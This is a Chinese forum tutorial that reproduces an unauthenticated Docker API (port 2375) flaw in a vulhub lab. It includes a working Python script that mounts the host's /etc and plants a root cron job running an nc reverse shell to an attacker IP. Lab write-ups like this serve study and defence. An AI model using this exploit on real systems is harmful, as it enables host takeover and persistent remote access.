安全测试之 Docker API 未授权利用

本贴最后更新于 910 天前,其中的信息可能已经时过境迁

1. 漏洞成因

如果在docker上配置了远程访问,docker 节点上会开放一个TCP端口2375,绑定在0.0.0.0上,如果没有做限制的话,攻击者就可以通过Docker未授权来控制服务器。

上一篇文章中配置了Docker未授权的环境,在文章里面有一个比较关键的点:

安装docker环境的时候,必须使用官方源,不能使用阿里源,否则后期无法复现漏洞环境。

2. 漏洞搭建

在这里使用vulhub直接进行复现,优点就是无需上述搭建的流程,直接就可以启动。

docker-compose build

image.png

docker-compose up -d

漏洞搭建完成

3. 漏洞检测

可以使用命令行验证当前的漏洞是否存在

docker -H tcp://*.*.*.*:2375 images

或者

来证明存在漏洞

http://127.0.0.1:2375/version

http://127.0.0.1:2375/info

4. 漏洞利用

因为主机是mac,然后在里面启用了一个docker,然后再里面又启用了一个docker,所以这里是无法使用替换密钥的方法来登陆第二层docker的

所以在这里直接使用脚本利用计划任务来反弹shell

这里尝试一个反弹shell的操作:

其中10.211.55.23是Kali的ip地址

10.211.55.2是docekr的未授权端口

import docker

client = docker.DockerClient(base_url='http://10.211.55.2:2375/')
print(client)
data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc 10.211.55.23 6666  -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})

这里将shell弹到kali上

当这个脚本在mac上执行完成之后,大概需要很长的时间会返回一个shell回来

此时漏洞利用成功。

回帖
请输入回帖内容 ...